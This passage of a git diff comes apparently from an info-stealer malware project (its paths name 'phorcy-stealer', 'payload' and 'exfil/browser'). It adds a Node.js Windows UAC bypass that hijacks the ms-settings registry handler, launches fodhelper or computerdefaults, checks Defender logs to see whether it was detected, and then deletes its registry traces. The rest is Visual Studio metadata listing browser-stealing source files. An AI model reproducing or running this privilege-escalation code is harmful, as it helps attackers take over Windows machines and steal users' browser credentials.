GetSelf() { - if (process.pkg) { - return [process.execPath, true]; - } else { - return [__filename, false]; - } -} -if (require.main === module) { - if (IsAdmin()) { - console.log("Already running with admin privileges."); - } else { - console.log("Running without admin privileges. Trying to bypass UAC..."); - const bypassSuccessful = UACbypass(); - if (bypassSuccessful) { - console.log("UAC bypass successful."); - } else { - console.log("UAC bypass unsuccessful."); - } - } +const { execSync } = require('child_process'); +const os = require('os'); +function UACbypass(method = 1) { + const execute = (cmd) => execSync(cmd, { shell: true, stdio: 'pipe' }).toString(); + + if (GetSelf()[1]) { + if (method === 1 || method === 2) { + const executable = process.execPath.replace(/\\/g, '\\\\'); + + execute(`reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "${executable}" /f`); + execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f'); + + const logCountBefore = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length; + + if (method === 1) { + execute('computerdefaults --nouacbypass'); + } else if (method === 2) { + execute('fodhelper --nouacbypass'); + } + + const logCountAfter = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length; + + execute('reg delete hkcu\\Software\\Classes\\ms-settings /f'); + + if (logCountAfter > logCountBefore) { + return UACbypass(method + 1); + } + } else { + return false; + } + return true; + } +} +function IsAdmin() { + return os.userInfo().username === 'Administrator'; +} +function GetSelf() { + if (process.pkg) { + return [process.execPath, true]; + } else { + return [__filename, false]; + } +} +if (require.main === module) { + if (IsAdmin()) { + console.log("Already running with admin privileges."); + } else { + console.log("Running without admin privileges. Trying to bypass UAC..."); + const bypassSuccessful = UACbypass(); + if (bypassSuccessful) { + console.log("UAC bypass successful."); + } else { + console.log("UAC bypass unsuccessful."); + } + } } \ No newline at end of file diff --git a/Utils/zipped.js b/main/base/modules/zipped.js similarity index 100% rename from Utils/zipped.js rename to main/base/modules/zipped.js diff --git a/main/port/payload/phorcy/.vs/nnn/FileContentIndex/8a88572f-73e7-47da-9b4d-3ebe09a598ad.vsidx b/main/port/payload/phorcy/.vs/nnn/FileContentIndex/8a88572f-73e7-47da-9b4d-3ebe09a598ad.vsidx new file mode 100644 index 0000000..70aef67 Binary files /dev/null and b/main/port/payload/phorcy/.vs/nnn/FileContentIndex/8a88572f-73e7-47da-9b4d-3ebe09a598ad.vsidx differ diff --git a/main/port/payload/phorcy/.vs/nnn/v17/.suo b/main/port/payload/phorcy/.vs/nnn/v17/.suo new file mode 100644 index 0000000..764f271 Binary files /dev/null and b/main/port/payload/phorcy/.vs/nnn/v17/.suo differ diff --git a/main/port/payload/phorcy/.vs/nnn/v17/Browse.VC.db b/main/port/payload/phorcy/.vs/nnn/v17/Browse.VC.db new file mode 100644 index 0000000..1cd1e2b Binary files /dev/null and b/main/port/payload/phorcy/.vs/nnn/v17/Browse.VC.db differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/814d93ab-9e62-4ef4-8928-42fae8b5a041.vsidx b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/814d93ab-9e62-4ef4-8928-42fae8b5a041.vsidx new file mode 100644 index 0000000..3ce0a2e Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/814d93ab-9e62-4ef4-8928-42fae8b5a041.vsidx differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/89eb7fbe-37b9-40c1-b2a0-51c79365c3eb.vsidx b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/89eb7fbe-37b9-40c1-b2a0-51c79365c3eb.vsidx new file mode 100644 index 0000000..cda0bc1 Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/89eb7fbe-37b9-40c1-b2a0-51c79365c3eb.vsidx differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/8bbf4fdc-f439-46d2-add9-a9d258bc7df7.vsidx b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/8bbf4fdc-f439-46d2-add9-a9d258bc7df7.vsidx new file mode 100644 index 0000000..10bdb71 Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/8bbf4fdc-f439-46d2-add9-a9d258bc7df7.vsidx differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/edfd86c8-d3c7-4adb-a5b9-e48b1fb98577.vsidx b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/edfd86c8-d3c7-4adb-a5b9-e48b1fb98577.vsidx new file mode 100644 index 0000000..ba698a6 Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/edfd86c8-d3c7-4adb-a5b9-e48b1fb98577.vsidx differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/f9177de2-1aa8-4643-8fac-b0355926e3f3.vsidx b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/f9177de2-1aa8-4643-8fac-b0355926e3f3.vsidx new file mode 100644 index 0000000..8e87ffb Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/FileContentIndex/f9177de2-1aa8-4643-8fac-b0355926e3f3.vsidx differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/v17/.suo b/main/port/payload/phorcy/.vs/phorcy-master/v17/.suo new file mode 100644 index 0000000..0e8f788 Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/v17/.suo differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/v17/Browse.VC.db b/main/port/payload/phorcy/.vs/phorcy-master/v17/Browse.VC.db new file mode 100644 index 0000000..5884c55 Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/v17/Browse.VC.db differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/v17/DocumentLayout.json b/main/port/payload/phorcy/.vs/phorcy-master/v17/DocumentLayout.json new file mode 100644 index 0000000..02854f8 --- /dev/null +++ b/main/port/payload/phorcy/.vs/phorcy-master/v17/DocumentLayout.json @@ -0,0 +1,258 @@ +{ + "Version": 1, + "WorkspaceRootPath": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\", + "Documents": [ + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\utils\\ip.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\utils\\ip.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\utils\\utils.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\utils\\utils.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\conf.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\anti_dbg\\win\\exploitation\\conf.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\conf.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\conf.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\include.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\include.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\user_account_control.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\anti_dbg\\win\\exploitation\\user_account_control.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\exploitation.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\anti_dbg\\win\\exploitation\\exploitation.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\shell\\shell.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\browser\\shell\\shell.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\shell\\shell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\browser\\shell\\shell.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\chromium.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\browser\\chromium.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\gecko.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\browser\\gecko.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\browser.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\browser\\browser.h||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + }, + { + "AbsoluteMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\browser.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}", + "RelativeMoniker": "D:0:0:{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}|phorcy-master\\phorcy-master.vcxproj|solutionrelative:phorcy-master\\windows\\exfil\\browser\\browser.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}" + } + ], + "DocumentGroupContainers": [ + { + "Orientation": 0, + "VerticalTabListWidth": 256, + "DocumentGroups": [ + { + "DockedWidth": 200, + "SelectedChildIndex": 0, + "Children": [ + { + "$type": "Document", + "DocumentIndex": 0, + "Title": "ip.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\utils\\ip.cpp", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\utils\\ip.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\utils\\ip.cpp", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\utils\\ip.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAABwAAAAVAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:22:32.799Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 1, + "Title": "utils.h", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\utils\\utils.h", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\utils\\utils.h", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\utils\\utils.h", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\utils\\utils.h", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", + "WhenOpened": "2026-02-01T02:22:26.132Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 2, + "Title": "conf.h", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\conf.h", + "RelativeDocumentMoniker": "phorcy-master\\anti_dbg\\win\\exploitation\\conf.h", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\conf.h", + "RelativeToolTip": "phorcy-master\\anti_dbg\\win\\exploitation\\conf.h", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", + "WhenOpened": "2026-02-01T02:12:53.327Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 3, + "Title": "conf.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\conf.cpp", + "RelativeDocumentMoniker": "phorcy-master\\conf.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\conf.cpp", + "RelativeToolTip": "phorcy-master\\conf.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:12:36.33Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 4, + "Title": "include.h", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\include.h", + "RelativeDocumentMoniker": "phorcy-master\\include.h", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\include.h", + "RelativeToolTip": "phorcy-master\\include.h", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", + "WhenOpened": "2026-02-01T02:12:32.636Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 5, + "Title": "main.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\main.cpp", + "RelativeDocumentMoniker": "phorcy-master\\main.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\main.cpp", + "RelativeToolTip": "phorcy-master\\main.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:12:03.519Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 7, + "Title": "exploitation.h", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\exploitation.h", + "RelativeDocumentMoniker": "phorcy-master\\anti_dbg\\win\\exploitation\\exploitation.h", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\exploitation.h", + "RelativeToolTip": "phorcy-master\\anti_dbg\\win\\exploitation\\exploitation.h", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", + "WhenOpened": "2026-02-01T02:11:59.206Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 6, + "Title": "user_account_control.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\user_account_control.cpp", + "RelativeDocumentMoniker": "phorcy-master\\anti_dbg\\win\\exploitation\\user_account_control.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\anti_dbg\\win\\exploitation\\user_account_control.cpp", + "RelativeToolTip": "phorcy-master\\anti_dbg\\win\\exploitation\\user_account_control.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:11:47.589Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 8, + "Title": "shell.h", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\shell\\shell.h", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\browser\\shell\\shell.h", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\shell\\shell.h", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\browser\\shell\\shell.h", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", + "WhenOpened": "2026-02-01T02:10:54.014Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 9, + "Title": "shell.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\shell\\shell.cpp", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\browser\\shell\\shell.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\shell\\shell.cpp", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\browser\\shell\\shell.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:10:34.306Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 10, + "Title": "chromium.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\chromium.cpp", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\browser\\chromium.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\chromium.cpp", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\browser\\chromium.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:10:29.995Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 11, + "Title": "gecko.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\gecko.cpp", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\browser\\gecko.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\gecko.cpp", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\browser\\gecko.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:10:25.787Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 12, + "Title": "browser.h", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\browser.h", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\browser\\browser.h", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\browser.h", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\browser\\browser.h", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", + "WhenOpened": "2026-02-01T02:10:18.141Z", + "EditorCaption": "" + }, + { + "$type": "Document", + "DocumentIndex": 13, + "Title": "browser.cpp", + "DocumentMoniker": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\browser.cpp", + "RelativeDocumentMoniker": "phorcy-master\\windows\\exfil\\browser\\browser.cpp", + "ToolTip": "C:\\Users\\wm\\Documents\\projects\\phorcy-stealer\\main\\port\\payload\\phorcy\\phorcy-master\\windows\\exfil\\browser\\browser.cpp", + "RelativeToolTip": "phorcy-master\\windows\\exfil\\browser\\browser.cpp", + "ViewState": "AgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", + "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|", + "WhenOpened": "2026-02-01T02:10:10.643Z", + "EditorCaption": "" + } + ] + } + ] + } + ] +} \ No newline at end of file diff --git a/main/port/payload/phorcy/.vs/phorcy-master/v17/Solution.VC.db b/main/port/payload/phorcy/.vs/phorcy-master/v17/Solution.VC.db new file mode 100644 index 0000000..7edbb2f Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/v17/Solution.VC.db differ diff --git a/main/port/payload/phorcy/.vs/phorcy-master/v17/ipch/AutoPCH/869a110ebc6a1c66/IP.ipch b/main/port/payload/phorcy/.vs/phorcy-master/v17/ipch/AutoPCH/869a110ebc6a1c66/IP.ipch new file mode 100644 index 0000000..6933a2e Binary files /dev/null and b/main/port/payload/phorcy/.vs/phorcy-master/v17/ipch/AutoPCH/869a110ebc6a1c66/IP.ipch differ diff --git a/main/port/payload/phorcy/phorcy-master.sln b/main/port/payload/phorcy/phorcy-master.sln new file mode 100644 index 0000000..ca6b5f5 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36221.1 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "phorcy-master", "phorcy-master\phorcy-master.vcxproj", "{F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Debug|x64.ActiveCfg = Debug|x64 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Debug|x64.Build.0 = Debug|x64 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Debug|x86.ActiveCfg = Debug|Win32 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Debug|x86.Build.0 = Debug|Win32 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Release|x64.ActiveCfg = Release|x64 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Release|x64.Build.0 = Release|x64 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Release|x86.ActiveCfg = Release|Win32 + {F9DFC7AE-C751-420A-AD18-C4D059C1F0B2}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {7C62B06E-06EB-443A-A531-F6E5670C8F49} + EndGlobalSection +EndGlobal diff --git a/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/conf.h b/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/conf.h new file mode 100644 index 0000000..6f70f09 --- /dev/null +++ b/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/conf.h @@ -0,0 +1 @@ +#pragma once diff --git a/main/port/payload/phorcy/phorcy-master/anti_dbg/win/exploitation/exploitation.h 